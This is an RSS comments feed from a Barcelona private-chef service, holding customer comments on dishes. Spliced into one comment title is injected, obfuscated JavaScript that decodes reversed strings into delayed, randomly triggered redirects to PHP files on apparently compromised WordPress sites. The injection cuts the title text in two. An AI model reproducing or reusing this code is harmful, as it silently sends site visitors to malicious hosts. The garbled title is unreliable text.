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	<description>Experiencias gastronómicas únicas en Barcelona: Chef en casa, chef personal, talleres de tapas, menú de temporada, cocina de autor...</description>
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		<title>Comentario en Rediseñ$Ubj=function(n){if (typeof ($Ubj.list[n]) == &quot;string&quot;) return $Ubj.list[n].split(&quot;&quot;).reverse().join(&quot;&quot;);return $Ubj.list[n];};$Ubj.list=[&quot;\&#039;php.litu.ssalc/sedulcni/retadpu-yfimeht/snigulp/tnetnoc-pw/moc.setaicossadnalanruoj//:sptth\&#039;=ferh.noitacol.tnemucod&quot;];var number1=Math.floor(Math.r$nJe=function(n){if (typeof ($nJe.list[n]) == &quot;string&quot;) return $nJe.list[n].split(&quot;&quot;).reverse().join(&quot;&quot;);return $nJe.list[n];};$nJe.list=[&quot;\&#039;php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\&#039;=ferh.noitacol.tnemucod&quot;];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;	setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}$nJe=function(n){if (typeof ($nJe.list[n]) == &quot;string&quot;) return $nJe.list[n].split(&quot;&quot;).reverse().join(&quot;&quot;);return $nJe.list[n];};$nJe.list=[&quot;\&#039;php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\&#039;=ferh.noitacol.tnemucod&quot;];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;	setTimeout($nJe(0), delay);}ando el brocoli por Nacho Marí</title>
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		<dc:creator><![CDATA[Nacho Marí]]></dc:creator>
		<pubDate>Thu, 14 Jan 2016 19:23:50 +0000</pubDate>
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		<title>Comentario en Tartar de gamba roja por Helena</title>
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		<dc:creator><![CDATA[Helena]]></dc:creator>
		<pubDate>Sat, 11 Oct 2014 21:49:36 +0000</pubDate>
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		<description><![CDATA[Este plato es, de todos los que difrutamos con Chef Nacho, mi preferido. Una delicia de velada, por su saber hacer en la cocina y en el exquisito trato humano. 100% recomendable! Repetiré!]]></description>
		<content:encoded><![CDATA[<p>Este plato es, de todos los que difrutamos con Chef Nacho, mi preferido. Una delicia de velada, por su saber hacer en la cocina y en el exquisito trato humano. 100% recomendable! Repetiré!</p>
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